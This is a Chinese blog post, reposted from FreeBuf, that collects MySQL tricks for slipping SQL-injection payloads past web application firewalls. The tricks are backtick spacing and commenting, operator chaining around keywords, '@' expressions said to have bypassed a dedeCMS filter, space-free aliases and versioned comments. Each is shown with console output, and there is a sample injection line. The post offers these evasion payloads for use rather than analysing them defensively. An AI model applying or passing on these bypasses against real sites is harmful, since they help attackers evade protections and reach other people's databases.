正在阅读:

WAF绕过的奇技淫巧

5,962

从freebuf淘来一些WAF Bypass技巧,转发过来,希望对兄弟们有用。

研究过国内外的WAF。分享一些 奇淫绝技。

一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。

WAF

Mysql:

tips1: 神奇的 ` (格式输出表的那个控制符)

过空格 过一些正则。

mysql> select`version`()
    -> ;
+----------------------+
| `version`()          |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)

一个更好玩的技巧,这个` 控制符可以当注释符用(限定条件)。

mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
 `>

usage : where id =’0′`’xxxxcomment on.

tips2:神奇的“- + .”:

mysql> select id from qs_admins;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
|        1 |
+----------+
1 row in set (0.00 sec)

mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
|        1 |
+----------+
1 row in set (0.00 sec)

(有些人不是一直在说关键字怎么过?过滤一个from … 就是这样连起来过)

tips3: @

mysql> select@^1.from qs_admins;
+------+
| @^1. |
+------+
| NULL |
+------+

这个是bypass 曾经dedeCMS filter。

或者下面这样也是可以的:

tips4:mysql function() as xxx 也可以不用as 和空格

mysql> select-count(id)test from qs_admins;
+------+
| test |
+------+
|   -1 |
+------+
1 row in set (0.00 sec)

tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)

mysql> /*!40000select*/ id from qs_admins;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

原文地址:http://www.freebuf.com/articles/web/10099.html

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌